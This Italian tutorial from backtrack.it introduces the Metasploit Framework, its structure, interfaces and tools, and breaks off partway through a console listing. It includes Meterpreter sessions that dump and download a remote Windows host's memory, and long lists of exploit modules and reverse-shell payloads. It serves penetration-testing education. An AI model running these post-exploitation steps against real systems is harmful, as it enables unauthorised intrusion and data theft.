Metasploit Framework
Transcription
Metasploit Framework
Metasploit Framework www.backtrack.it «Back|Track-[IT] www.backtrack.it (c) 2009 brigante - fiocinino [email protected] [email protected] Metasploit Framework Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Questo documento è rivolto a tutti coloro che vogliono conoscere cos'é, come viene utilizzato e cosa comporta l' uso del “Metasploit Framework”, parte del Metasploit Project. Metasploit è più di un semplice progetto per la sicurezza informatica, è un vero è proprio insieme di strumenti, (appunto denominato Framework), che ha praticamente rivoluzionato l' intero mondo della sicurezza informatica. Come per la stragrande maggioranza della nostra documentazione verrà, anche in questo documento, dato spazio sia alla parte teorica che alla parte pratica e descrittiva, con svariati esempi e con la descrizione dettagliata alcuni nostri video, reperibili naturalmente dall' apposita sezione del nostro portale. “Che cos'é Metasploit” Metasploit Project nasce con l' intento di fornire informazioni su vulnerabilità, sviluppo di sistemi di rilevamento di intrusioni e semplificare le operazioni di penetration testing. Il sub-project più conosciuto è il Metasploit Framework, un' insieme di strumenti per lo sviluppo e l'esecuzione di exploits, di shellcodes, auxiliary, opcode noto per lo sviluppo di strumenti di elusione ed antirilevamento. Uno dei principali Goals del “Metasploit Project” è quello di mirare principalmente a fornire informazioni utili allo sviluppo di nuove tecniche di pentesting e di firme per sistemi IDS (Intrusion Detection System). Metasploit Framework, (d' ora in poi MSF), è un progetto che ha radicalmente rivoluzionato il mondo della sicurezza informatica. Oggi molti bollettini di sicurezza escono con abbinato alla vulnerabilità il numero dell' exploit compreso nel framework, grazie a MSF oggi anche coloro che non lo sono per professione possono improvvisarsi pentester e testare così nel migliore dei modi la sicurezza della propria rete, è ormai riconosciuto infatti che grazie alla sua semplicità molti sysadmin possono fare pentesting e proteggersi al meglio, se teniamo poi in considerazione la sua natura multipiattaforma, usabile da tutte le distro GNU/Linux, MacOS-X, Windows, Solaris e BSD riusciamo ad inquadrarne meglio la portabilità e semplicità. Il Metasploit Framework nasce come un gioco di security da, principalemnte, quattro developpers, principalmente perché oggi la partecipazione al progetto è costituita da decine di persone, tutti appartenenti al top mondiale del mondo del penetretation-testing. Il referente del progetto è H.D.Moore, che ha presentato ad una passata edizione del DEFCON il suo progetto, sbalordendo il pubblico presente in sala... ...alcuni giornalisti dissero che lo stupore della platea era tale che: “sembrava assistessero ad un film d' azione”. La prima versione definita “Stable”, dagli sviluppatori fù la 2.1,(2004), scritta in Perl, ma il suo sviluppo è aumentato rapidamente grazie al coinvolgimento generato dal successo ottenuto. La versione 3.1 invece presenta una nuova veste, interamente riscritto in Ruby il MSF permette oggi uno sviluppo ed una partecipazione ancor più massiccia e rapida della precedente versione, nonché un' interfacciamento tra i componenti del framework ancorpiù efficace. Attualmente il MSF comprende una vasta gamma di strumenti per il pentesting, strumenti che vanno via via crescendo sempre di più, e nella qualità, e nella quantità. Oggi il framework comprende strumenti che facilitano la vita al pentester, grazie alla sua nuova struttura in Ruby, inseriti nel MSF troviamo infatti API che permettono l' interfacciamento con tool del calibro di Nmap e Nessus, (il famoso prodotto della Tenable che occupa i vertici tra I Vulnetability scanner), e WebScarab, webaplication vulnerabnility scanner della OWASP Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it “La Struttura” Possiamo immaginare la struttura del MSF come la seguente... *** immagine presa da una presentazione di H.D.Moore del 2006 *** Questo è uno schema completo e dettagliato della struttura del “nuovo” Framework, esaminiamone le parti nel dettaglio... A partire dal core possiamo vedere che MSF si avvale di libreire scritte in ruby tra cui Rex, (trad. “registrazione di nomi”, fornice un interfacciamento a diverse classi e metodi), ovvero la libreria a cui fa capo l'insieme di tools per le connessioni sui vari protocolli. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it “La libreria REX” Rex è composta da poche righe di codice, eccone il contenuto... require 'test/unit' require 'rex/exceptions.rb.ut' require 'rex/transformer.rb.ut' require 'rex/text.rb.ut' require 'rex/file.rb.ut' require 'rex/encoder/xdr.rb.ut' require 'rex/encoding/xor/generic.rb.ut' require 'rex/encoding/xor/byte.rb.ut' require 'rex/encoding/xor/word.rb.ut' require 'rex/encoding/xor/dword.rb.ut' require 'rex/encoding/xor/dword_additive.rb.ut' require 'rex/socket.rb.ut' require 'rex/socket/tcp.rb.ut' require 'rex/socket/ssl_tcp.rb.ut' require 'rex/socket/tcp_server.rb.ut' require 'rex/socket/udp.rb.ut' require 'rex/socket/parameters.rb.ut' require 'rex/socket/comm/local.rb.ut' require 'rex/socket/switch_board.rb.ut' require 'rex/socket/subnet_walker.rb.ut' require 'rex/proto.rb.ts' require 'rex/parser/arguments.rb.ut' require 'rex/ui/text/color.rb.ut' require 'rex/ui/text/table.rb.ut' require 'rex/exploitation/egghunter.rb.ut' require 'rex/exploitation/seh.rb.ut' Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it “Moduli e Custom Plugins” A rendere veramente grande il MSF è la possibilità di scrivere proprio codice, utilizzando il MSF per la scrittura di codice infatti non solo si può partecipare alla crescita dello stesso progetto, leggere ed imparare da codice già scritto, che è sempre molto commentato appositamente per facilitarne la comprensione, ma addirittura aggiungere proprio codice ad altro già presente. Nulla è più errato infatti del pensare al MSF come una semplice piattaforma di lancio exploits, il MSF è una vera e propria strumentazione a disposizione di tutti per uno sviluppo personalizzato di codice che va dalla scrittura di exploits, encoders, shellcode, opcode ed auxiliary, [MODULES]. Senza contare che dalla piattaforma del MSF è possibile fare praticamente ogni tipo di operazione che riguardi il pentesting, dallo scanning alla scrittura di fuzzers personalizzati, dall' Information Gathering fino a naturalmente l' exploitation e lo shellcoding. Per dare un idea dell' importanza del codice in MSF, basta pensare che attualmente il database di opcode del MSF è, se non il, tra i più grandi che si trovano in rete. Ricordiamo per ogni evenienza la mailinglist del progetto Metasploit, [[email protected]]. “Le Interfacce” Andando avanti nella nostra descrizione dopo I Moduli incontriamo quelle che sono le categorie più “familiari”, (perché più usate), le [INTERFACES] del MSF. Le interfacce di utilizzo del MSF sono: 1. msfconsole – la classica console del MSF, interfaccia testuale, rapida, stabile, performante e che dà all' utente la possibilità di sfruttare a pieno il framework, con la possibilità dell' interazione. 2. msfcli – l' interfaccia testuale che permette l' invio rapido di exploit tramite la scrittura di comandi su di una sola riga 3. msfweb – l' interfaccia web del MSF, utile per usare il framework con tutta la comodità di un interfaccia web 4. msfgui – il MSF con tanto di interfaccia grafica scritta in wx, che utilizza un assistente per la configurazione e il lancio dell' attacco 5. msfapi – l' interfacciamento del framework con altri strumenti tramite le API Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Le interfacce elencate sono presenti tutte all' interno del MSF-3.*, precedentemente la gui non era presente di prima installazione, anche se fondamentalmente il MSF viene usato da console per la stragrande maggioranza dell' utenza, la possibilità di avere a disposizione una gui non è da sottovalutare assolutamente. Se pensiamo che I più importanti Framework per l' exploitation, commerciali, sono utilizzati “quasi” esclusivamente da interfaccia grafica forse dovremmo farci un idea diversa. È naturale che la scelta dell' interfaccia da usare è esclusivamente soggettiva, si tratta di una scelta da fare in base alle proprie capacità e disponibilità in ambito perfromance / tempo a disposizione, per il resto tutte le interfacce permettono di fare le stesse operazioni. Continuiamo il nostro viaggio all' interno del Metasploit Framework, questa è la sua suddivisione per directory: root@HaCkLaB /pentest/exploits/framework-3/ # ls -la total 128 drwxr-xr-x 11 root root 4096 Sep 26 08:37 . drwxr-xr-x 9 root root 4096 Sep 27 18:27 .. drwxr-xr-x 6 root root 4096 Sep 26 08:37 .svn -rw-r--r-- 1 root root 3315 Jul 18 22:30 README drwxr-xr-x 15 root root 4096 Sep 26 08:37 data drwxr-xr-x 6 root root 4096 Sep 26 08:37 documentation drwxr-xr-x 9 root root 4096 May 28 07:30 external drwxr-xr-x 16 root root 4096 Sep 26 08:37 lib drwxr-xr-x 8 root root 4096 Sep 26 08:37 modules -rwxr-xr-x 1 root root 8572 Jul 18 22:30 msfcli -rwxr-xr-x 1 root root 2085 Jul 18 22:30 msfconsole -rwxr-xr-x 1 root root 2436 Jul 18 22:30 msfd -rwxr-xr-x 1 root root 2545 Jul 18 22:30 msfelfscan -rwxr-xr-x 1 root root 5932 Aug 27 23:10 msfencode -rwxr-xr-x 1 root root 2852 Jul 18 22:30 msfgui -rwxr-xr-x 1 root root 2167 Jul 18 22:30 msfmachscan -rwxr-xr-x 1 root root 9938 Jul 18 22:30 msfopcode -rwxr-xr-x 1 root root 3037 Aug 27 23:10 msfpayload -rwxr-xr-x 1 root root 4148 Jul 18 22:30 msfpescan -rwxr-xr-x 1 root root 1959 Jul 18 22:30 msfrpc -rwxr-xr-x 1 root root 2304 Jul 18 22:30 msfrpcd -rwxr-xr-x 1 root root 1939 Jul 18 22:30 msfweb drwxr-xr-x 3 root root 4096 Sep 26 08:37 plugins drwxr-xr-x 4 root root 4096 May 28 07:30 scripts -rwxr-xr-x 1 root root 23 Nov 28 2008 svn-update.sh drwxr-xr-x 4 root root 4096 Sep 26 08:37 tools Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Come possiamo vedere dall immagine della shell, ci sono directory che ancora non abbiamo descritto, si tratta per la gran parte di plugins, script e tools in generale. Tutte queste aggiunte portano al MSF una certa indipendenza dall' OS su cui gira, nella directory tools/ troviamo: drwxr-xr-x 4 root root 4096 Sep 26 08:37 . drwxr-xr-x 11 root root 4096 Sep 26 08:37 .. drwxr-xr-x 6 root root 4096 Sep 26 08:37 .svn -rwxr-xr-x 1 root root 703 Jul 18 22:30 convert_31.rb -rwxr-xr-x 1 root root 682 Jul 18 22:30 exe2vba.rb -rwxr-xr-x 1 root root 618 Aug 27 23:10 exe2vbs.rb -rwxr-xr-x 1 root root 2641 Jul 18 22:30 halflm_second.rb -rwxr-xr-x 1 root root 5905 Jul 18 22:30 import_webscarab.rb -rwxr-xr-x 1 root root 1726 Aug 27 23:10 lm2ntcrack.rb drwxr-xr-x 3 root root 4096 Sep 26 08:37 memdump -rwxr-xr-x 1 root root 1293 Jul 18 22:30 module_license.rb -rwxr-xr-x 1 root root 1292 Jul 18 22:30 module_reference.rb -rwxr-xr-x 1 root root 304 Jul 18 22:30 msf_irb_shell.rb -rwxr-xr-x 1 root root 850 Jul 18 22:30 nasm_shell.rb -rwxr-xr-x 1 root root 407 Jul 18 22:30 pattern_create.rb -rwxr-xr-x 1 root root 564 Jul 18 22:30 pattern_offset.rb • la cartella .svn/ per avere il trunk sempre aggiornato; • script utili come exe2vba.rb e exe2vbs.rb, entrambe dedicati alla conversione di files *.exe rispettivamente in files *.vba e *.vbs • il programma per il dumping della memoria memdump; • per noi utenti di BackTrack c'é anche lo script per fare l' update svn-update.sh L' update del framework è raggiungibile anche dal menù di KDE: BackTrack → Penetration → Framework-2/3 → update frmework-2/3 MSF è uno strumento che ad ogni release in pratica aggiunge particolarità originali e utili, senza mai smentirsi. memdump, solo per fare un semplice esempio, è stato recentemente modificato proprio tramite il MSF, (opcode), ed ha dato vita a pmdump.rb, stessa funzione ma per un allocazione di memoria diversa, esempio valido per la comprensione dell' importanza che ha la scrittura di codice personalizzato all' interno del MSF. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Visto che fare update è semplice, perché addirittura raggiungibile da menù, andiamo a fare un esempio pratico con uno dei tool indipendenti ma inseriti nella struttura del MSF. Facciamo, giusto per rimanere nell' area tools/ , un esempio con memdump. Memdump è un tool per il dumping di memoria per sistemi UniX-like, è utilizzato per reperire informazioni insite all' interno di memoria con tanto di processi e, a volte, anche files eliminati. Un esempio di interfacciamento che MSF ha con tool del calibro di memdump è quello dell' utilizzo del programma durante una sessione di meterpreter, quindi in una sessione post-exploitation. Durante una sessione di meterpreter, possiamo vedere le opzioni che memdump accetta visuallizandole con il classico help -h, gli script/tools aggiunti al MSF, per poter lavorare in meterpreter hanno bisogno di essere posticipati dal comando run. Questo è quindi l' help di memdump all' interno di una sessione di Meterpreter: meterpreter > run memdump -h Memory Dumper Meterpreter Script OPTIONS: -c Check Memory Size on target. Image file will be of this size -d Dump Memory do not download -h Help menu. -t <opt> seconds Change the timeout default 5min. Specify timeout in meterpreter > Ed ora passiamo a quello che è il dumping della memoria dell' host remoto. Per prima cosa dobbiamo capire di che grandezza la memoria e prima di fare il dumping altrimenti rischieremmo di stare per ore ad aspettare che finisca il processo in caso di 3/4GB di RAM, (vista la natura hardware dei nuovi sistemi direi non poco probabile), quindi per vedere la granddezza, usiamo l' opzione -c, quindi: meterpreter > run memdump -c [*] Checking the memory size of the target machine ...... [*] The size of the image will be the same as the amount of Physical Memory [*] Total Physical Memory: 512 MB meterpreter > Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Fatto questo possiamo passare al dumping... meterpreter > run memdump [*] Running Meterpreter Memory Dump Script..... [*] Uploading mdd for dumping targets memory.... [*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe [*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281......... [*] Finished dumping target memory [*] Deleting mdd.exe from target... [*] mdd.exe deleted [*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281 [*] Finished downloading memory image [*] Deleting left over files... [*] Memory image on target deleted meterpreter > Se la situazione fosse peggiore di quanto previsto, se ad esempio si è davanti ad un immagine da Gigabytes, sarebbe troppo spreco in un pentest usufruire di memdump per il download diretto, sarebbe quindi cosa ideale fare il download in altro modo dopo aver fatto il dumping con memdump, quest' operazione è fattibile passando a memdump l' opzione -d. meterpreter > run memdump -d [*] Running Meterpreter Memory Dump Script..... [*] Uploading mdd for dumping targets memory.... [*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe [*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258......... [*] Finished dumping target memory [*] Deleting mdd.exe from target... [*] mdd.exe deleted meterpreter > L' opzione per il download è molto importante da tenere in conto, bisogna ricordare assolutamente che il timeout che memdump mette a disposizione per il download è di 5 minuti, non oltre, quindi in caso di dumping di memorie maggiori di circa ~400MB,(solo per fare una media), è necessario settare un timeout maggiore tramite l' opzione -t. Finito il dumping e scaricata l'immagine, si può passare all' analisi tramite un' altro strumento. Ricordiamo che memdump ha una sua directory .svn/, quindi è possibile tenere un trunk del tool anche singolarmente. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Rimaniamo ancora all' interno della struttura del MSF, una novità senza dubbio degna di nota è la possibilità di importare sessioni di WebScarab tramite lo script import_webscarab.rb WebScarab, [http://www.owasp.org/], è un framework per l' analisi di webapplication,[HTTP e HTTPS], importare una sessione di WebScarab in MSF è una cosa stupefacente, mentre un prodotto come Nessus effettua una scansione delle vulnerabilità profonda ma basata per la maggiorparte su policy dipendenti dai vari protocolli e sistemi, (cosa che rende grande il prodotto della TenableSecurity), WebScarab si rivolge in maniera specifica alle vulnerabilità di applicazioni web, quindi molto più specifico. Sotto tutti i punti di vista quindi il MSF alla versione attuale è stato migliorato moltissimo, e in generale, e nei confronti delle precedenti versioni. La natura di MSF, interamente riscritto in ruby, fa in modo che i vari componenti della piattaforma comunichino fra loro con estrema facilità, grazie alle classi e ai metodi. Una delle novità è senzadubbio la possibilità di scissione della fase di audithing con la fase di attacco, (che verrà descritta in modo più dettagliato nel seguito del documento), la possibilità di aprire più sessioni verso un unico target utilizzando un solo exploit ed ancora la possibilità di ottenere sessioni diverse per diversi utenti. Ma passimao a fare degli esempi pratici. “La Pratica” ./msfconsole Seguiranno ora degli esempi, dapprima verrano descritti degli attacchi tramite la versione-2 del MSF, poi seguiranno esempi di exploitation con la versione 3.3-dev di Metasploit, usando le nuove features di interfacciamento con i database, con particolare attenzione alla creazione e all' utilizzo dei database per l' exploitation in autopowning e alle sessioni di Meterpreter, ma iniziamo subito con il primo esempio facendo una breve descrizione di come usare la console del MSF.Assumendo una attestata vulnerabilità, per utilizzare la console di MSF bisogna compiere delle fasi: 1. La scelta e la configurazione di un exploit, (codice che và a colpire una determinata vulnerabilità); 2. La verifica che un determinato sistema sia soggetto all'azione di un determinato exploit (opzionale); 3. La scelta e la configurazione di un payload (codice che verrà eseguito dopo il successo dell' exploit); 4. La scelta della tecnica di crittografia per il payload, in modo da non essere rilevato dai sistemi anti-intrusione; 5. L'esecuzione dell' exploit. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Il vantaggio di poter combinare tutti gli exploits disponibili ad altrettanti payloads è la caratteristica che rende il MSF una grande piattaforma di attacco e di sviluppo di codice. La scelta di un exploit naturalmente è data dalla vulnerabilità, per conoscere ed essere sicuri della vulnerabilità di un eventuale target si effettuano delle scansioni, a volte può, (o deve), bastare una scansione di porte, a volte invece ci si deve immergere nel vulnerability scanning, anche se naturalmente è buona idea evitarli o a limite farli lavorare in un modo che sia il più hidden, (nascosto), possibile. Strumenti per il fingerprinting, il port-scanning o il vulnerability-scanning in BackTrack di certo non mancano, l' esempio che segue illustra l' inizio del pentest con una scansione di porte effettuata con Nmap, ma prima andiamo a vedere come vengono elencati I vari comandi all' interno della console di MSF per vedere tutti gli strumenti, exploits, shellcodes, encoders eccetera, che il framework mette a nostra disposizione... Tutti I comandi disponibili possono esser elencati con il comando help: msf > help Metasploit Framework Main Console Help ====================================== ? cd exit help info quit reload save setg show unsetg use version Show the main console help Change working directory Exit the console Show the main console help Display detailed exploit or payload information Exit the console Reload exploits and payloads Save configuration to disk Set a global environment variable Show available exploits and payloads Remove a global environment variable Select an exploit by name Show console version Come da suggerimento quindi, (ed anche perché siamo obbligati), seguitiamo visualizziando gli exploits, gli shellcodes, gli encoders e I nops con il comando: show <nome_modulo> Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it msf > show exploits Metasploit Framework Loaded Exploits ==================================== 3com_3cdaemon_ftp_overflow Credits afp_loginext aim_goaway altn_webadmin apache_chunked_win32 arkeia_agent_access arkeia_type77_macos arkeia_type77_win32 awstats_configdir_exec backupexec_agent backupexec_dump backupexec_ns backupexec_registry badblue_ext_overflow bakbone_netvault_heap barracuda_img_exec blackice_pam_icq bluecoat_winproxy bomberclone_overflow_win32 cabrightstor_disco cabrightstor_disco_servicepc cabrightstor_sqlagent cabrightstor_uniagent cacam_logsecurity_win32 cacti_graphimage_exec calicclnt_getconfig calicserv_getconfig cesarftp_mkd distcc_exec edirectory_imonitor edirectory_imonitor2 eiq_license eudora_imap exchange2000_xexch50 firefox_queryinterface_linux firefox_queryinterface_osx freeftpd_key_exchange freeftpd_user freesshd_key_exchange futuresoft_tftpd globalscapeftp_user_input gnu_mailutils_imap4d google_proxystylesheet_exec hpux_ftpd_preauth_list hpux_lpd_exec ia_webmail icecast_header ie_createobject ie_createtextrange ie_iscomponentinstalled ie_objecttype ie_vml_rectfill ie_webview_setslice ie_xp_pfv_metafile Metasploit Framework 3Com 3CDaemon FTP Server Overflow Metasploit Framework Credits AppleFileServer LoginExt PathName Overflow AOL Instant Messenger goaway Overflow Alt-N WebAdmin USER Buffer Overflow Apache Win32 Chunked Encoding Arkeia Backup Client Remote Access Arkeia Backup Client Type 77 Overflow (Mac OS X) Arkeia Backup Client Type 77 Overflow (Win32) AWStats configdir Remote Command Execution Veritas Backup Exec Windows Remote Agent Overflow Veritas Backup Exec Windows Remote File Access Veritas Backup Exec Name Service Overflow Veritas Backup Exec Server Registry Access BadBlue 2.5 EXT.dll Buffer Overflow BakBone NetVault Remote Heap Overflow Barracuda IMG.PL Remote Command Execution ISS PAM.dll ICQ Parser Buffer Overflow Blue Coat Systems WinProxy Host Header Buffer Overflow Bomberclone 0.11.6 Buffer Overflow CA BrightStor Discovery Service Overflow CA BrightStor Discovery Service SERVICEPC Overflow CA BrightStor Agent for Microsoft SQL Overflow CA BrightStor Universal Agent Overflow CA CAM log_security() Stack Overflow (Win32) Cacti graph_image.php Remote Command Execution CA License Client GETCONFIG Overflow CA License Server GETCONFIG Overflow Cesar FTP 0.99g MKD Command Buffer Overflow DistCC Daemon Command Execution eDirectory 8.7.3 iMonitor Remote Stack Overflow eDirectory 8.8 iMonitor Remote Stack Overflow EIQ License Manager Overflow Qualcomm WorldMail IMAPD Server Buffer Overflow Exchange 2000 MS03-46 Heap Overflow Firefox location.QueryInterface() Code Execution (Linux x86) Firefox location.QueryInterface() Code Execution (Mac OS X) FreeFTPd 1.0.10 Key Exchange Algorithm Buffer Overflow freeFTPd USER Overflow FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow FutureSoft TFTP Server 2000 Buffer Overflow GlobalSCAPE Secure FTP Server user input overflow GNU Mailutils imap4d Format String Vulnerability Google Appliance ProxyStyleSheet Command Execution HP-UX FTP Server Preauthentication Directory Listing HP-UX LPD Command Execution IA WebMail 3.x Buffer Overflow Icecast (<= 2.0.1) Header Overwrite (win32) Internet Explorer COM CreateObject Code Execution Internet Explorer createTextRange() Code Execution Windows XP SP0 IE 6.0 IsComponentInstalled() Overflow Internet Explorer Object Type Overflow Internet Explorer VML Fill Method Code Execution Internet Explorer WebViewFolderIcon setSlice() Code Execution Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution www.backtrack.it Metasploit Framework www.backtrack.it msf > show exploits Metasploit Framework Loaded Exploits ==================================== iis40_htr iis50_printer_overflow iis50_webdav_ntdll iis_fp30reg_chunked iis_nsiislog_post iis_source_dumper iis_w3who_overflow imail_imap_delete imail_ldap irix_lpsched_exec kerio_auth lsass_ms04_011 lyris_attachment_mssql mailenable_auth_header mailenable_imap mailenable_imap_w3c maxdb_webdbm_get_overflow mcafee_epolicy_source mdaemon_imap_cram_md5 mercantec_softcart mercur_imap_select_overflow mercury_imap minishare_get_overflow mozilla_compareto ms05_030_nntp ms05_039_pnp msasn1_ms04_007_killbill msmq_deleteobject_ms05_017 msrpc_dcom_ms03_026 mssql2000_preauthentication mssql2000_resolution netapi_ms06_040 netterm_netftpd_user_overflow niprint_lpd novell_messenger_acceptlang openview_connectednodes_exec openview_omniback oracle9i_xdb_ftp oracle9i_xdb_ftp_pass oracle9i_xdb_http pajax_remote_exec payload_handler peercast_url_linux peercast_url_win32 php_vbulletin_template php_wordpress_lastpost php_xmlrpc_eval phpbb_highlight phpnuke_search_module poptop_negative_read privatewire_gateway_win32 putty_ssh realserver_describe_linux realvnc_41_bypass realvnc_client rras_ms06_025 rras_ms06_025_rasman rsa_iiswebagent_redirect safari_safefiles_exec Metasploit Framework IIS 4.0 .HTR Buffer Overflow IIS 5.0 Printer Buffer Overflow IIS 5.0 WebDAV ntdll.dll Overflow IIS FrontPage fp30reg.dll Chunked Overflow IIS nsiislog.dll ISAPI POST Overflow IIS Web Application Source Code Disclosure IIS w3who.dll ISAPI Overflow IMail IMAP4D Delete Overflow IMail LDAP Service Buffer Overflow IRIX lpsched Command Execution Kerio Personal Firewall 2 (2.1.4) Remote Auth Packet Overflow Microsoft LSASS MSO4-011 Overflow Lyris ListManager Attachment SQL Injection (MSSQL) MailEnable Authorization Header Buffer Overflow MailEnable Pro (1.54) IMAP STATUS Request Buffer Overflow MailEnable IMAPD W3C Logging Buffer Overflow MaxDB WebDBM GET Buffer Overflow McAfee ePolicy Orchestrator / ProtPilot Source Overflow Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow Mercantec SoftCart CGI Overflow Mercur v5.0 IMAP SP3 SELECT Buffer Overflow Mercury/32 v4.01a IMAP RENAME Buffer Overflow Minishare 1.4.1 Buffer Overflow Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution Microsoft Outlook Express NNTP Response Overflow Microsoft PnP MS05-039 Overflow Microsoft ASN.1 Library Bitstring Heap Overflow Microsoft Message Queueing Service MSO5-017 Microsoft RPC DCOM MSO3-026 MSSQL 2000/MSDE Hello Buffer Overflow MSSQL 2000/MSDE Resolution Overflow Microsoft CanonicalizePathName() MSO6-040 Overflow NetTerm NetFTPD USER Buffer Overflow NIPrint LPD Request Overflow Novell Messenger Server 2.0 Accept-Language Overflow HP Openview connectedNodes.ovpl Remote Command Execution HP OpenView Omniback II Command Execution Oracle 9i XDB FTP UNLOCK Overflow (win32) Oracle 9i XDB FTP PASS Overflow (win32) Oracle 9i XDB HTTP PASS Overflow (win32) PAJAX Remote Command Execution Metasploit Framework Payload Handler PeerCast <= 0.1216 URL Handling Buffer Overflow (Linux) PeerCast <= 0.1216 URL Handling Buffer Overflow(win32) vBulletin misc.php Template Name Arbitrary Code Execution WordPress cache_lastpostdate Arbitrary Code Execution PHP XML-RPC Arbitrary Code Execution phpBB viewtopic.php Arbitrary Code Execution PHPNuke Search Module SQL Injection Vulnerability Poptop Negative Read Overflow Private Wire Gateway Buffer Overflow (win32) PuTTy.exe <= v0.53 Buffer Overflow RealServer Describe Buffer Overflow RealVNC 4.1 Authentication Bypass RealVNC 3.3.7 Client Buffer Overflow Microsoft RRAS MSO6-025 Stack Overflow Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow IIS RSA WebAgent Redirect Overflow Safari Archive Metadata Command Execution www.backtrack.it Metasploit Framework www.backtrack.it msf > show exploits Metasploit Framework Loaded Exploits ==================================== samba_nttrans samba_trans2open samba_trans2open_osx samba_trans2open_solsparc sambar6_search_results seattlelab_mail_55 securecrt_ssh1 sentinel_lm7_overflow servu_mdtm_overflow shixxnote_font shoutcast_format_win32 slimftpd_list_concat smb_sniffer solaris_dtspcd_noir solaris_kcms_readfile solaris_lpd_exec solaris_lpd_unlink solaris_sadmind_exec solaris_snmpxdmid solaris_ttyprompt sphpblog_file_upload squid_ntlm_authenticate svnserve_date sybase_easerver sygate_policy_manager tftpd32_long_filename trackercam_phparg_overflow ultravnc_client uow_imap4_copy uow_imap4_lsub ut2004_secure_linux ut2004_secure_win32 warftpd_165_pass warftpd_165_user webmin_file_disclosure webstar_ftp_user winamp_playlist_unc windows_ssl_pct wins_ms04_045 wmailserver_smtp wsftp_server_503_mkd wzdftpd_site ypops_smtp zenworks_desktop_agent Metasploit Framework Samba Fragment Reassembly Overflow Samba trans2open Overflow Samba trans2open Overflow (Mac OS X) Samba trans2open Overflow (Solaris SPARC) Sambar 6 Search Results Buffer Overflow Seattle Lab Mail 5.5 POP3 Buffer Overflow SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow SentinelLM UDP Buffer Overflow Serv-U FTPD MDTM Overflow ShixxNOTE 6.net Font Buffer Overflow SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow SlimFTPd LIST Concatenation Overflow SMB Password Capture Service Solaris dtspcd Heap Overflow Solaris KCMS Arbitary File Read Solaris LPD Command Execution Solaris LPD Arbitrary File Delete Solaris sadmind Command Execution Solaris snmpXdmid AddComponent Overflow Solaris in.telnetd TTYPROMPT Buffer Overflow Simple PHP Blog remote command execution Squid NTLM Authenticate Overflow Subversion Date Svnserve Sybase EAServer 5.2 Remote Stack Overflow Sygate Management Server SQL Injection TFTPD32 <= 2.21 Long Filename Buffer Overflow TrackerCam PHP Argument Buffer Overflow UltraVNC 1.0.1 Client Buffer Overflow University of Washington IMAP4 COPY Overflow University of Washington IMAP4 LSUB Overflow Unreal Tournament 2004 "secure" Overflow (Linux) Unreal Tournament 2004 "secure" Overflow (Win32) War-FTPD 1.65 PASS Overflow War-FTPD 1.65 USER Overflow Webmin file disclosure WebSTAR FTP Server USER Overflow Winamp Playlist UNC Path Computer Name Overflow Microsoft SSL PCT MS04-011 Overflow Microsoft WINS MS04-045 Code Execution SoftiaCom WMailserver 1.0 SMTP Buffer Overflow WS-FTP Server 5.03 MKD Overflow Wzdftpd SITE Command Arbitrary Command Execution YahooPOPS! <= 0.6 SMTP Buffer Overflow ZENworks 6.5 Desktop/Server Management Remote Stack Overflow www.backtrack.it Metasploit Framework www.backtrack.it msf > show payloads Metasploit Framework Loaded Payloads ==================================== bsd_ia32_bind bsd_ia32_bind_stg bsd_ia32_exec bsd_ia32_findrecv bsd_ia32_findrecv_stg bsd_ia32_findsock bsd_ia32_reverse bsd_ia32_reverse_stg bsd_sparc_bind bsd_sparc_reverse bsdi_ia32_bind bsdi_ia32_bind_stg bsdi_ia32_findsock bsdi_ia32_reverse bsdi_ia32_reverse_stg cmd_generic cmd_interact cmd_irix_bind cmd_localshell cmd_sol_bind cmd_unix_reverse cmd_unix_reverse_bash cmd_unix_reverse_nss generic_sparc_execve irix_mips_execve linux_ia32_adduser linux_ia32_bind linux_ia32_bind_stg linux_ia32_exec linux_ia32_findrecv linux_ia32_findrecv_stg linux_ia32_findsock linux_ia32_reverse linux_ia32_reverse_impurity linux_ia32_reverse_stg linux_ia32_reverse_udp linux_sparc_bind linux_sparc_findsock linux_sparc_reverse Metasploit Framework BSD IA32 Bind Shell BSD IA32 Staged Bind Shell BSD IA32 Execute Command BSD IA32 Recv Tag Findsock Shell BSD IA32 Staged Findsock Shell BSD IA32 SrcPort Findsock Shell BSD IA32 Reverse Shell BSD IA32 Staged Reverse Shell BSD SPARC Bind Shell BSD SPARC Reverse Shell BSDi IA32 Bind Shell BSDi IA32 Staged Bind Shell BSDi IA32 SrcPort Findsock Shell BSDi IA32 Reverse Shell BSDi IA32 Staged Reverse Shell Arbitrary Command Unix Interactive Shell Irix Inetd Bind Shell Interactive Local Shell Solaris Inetd Bind Shell Unix Telnet Piping Reverse Shell Unix /dev/tcp Piping Reverse Shell Unix Spaceless Telnet Piping Reverse Shell BSD/Linux/Solaris SPARC Execute Shell Irix MIPS Execute Shell Linux IA32 Add User Linux IA32 Bind Shell Linux IA32 Staged Bind Shell Linux IA32 Execute Command Linux IA32 Recv Tag Findsock Shell Linux IA32 Staged Findsock Shell Linux IA32 SrcPort Findsock Shell Linux IA32 Reverse Shell Linux IA32 Reverse Impurity Upload/Execute Linux IA32 Staged Reverse Shell Linux IA32 Reverse UDP Shell Linux SPARC Bind Shell LINUX SPARC SrcPort Find Shell Linux SPARC Reverse Shell www.backtrack.it Metasploit Framework www.backtrack.it msf > show 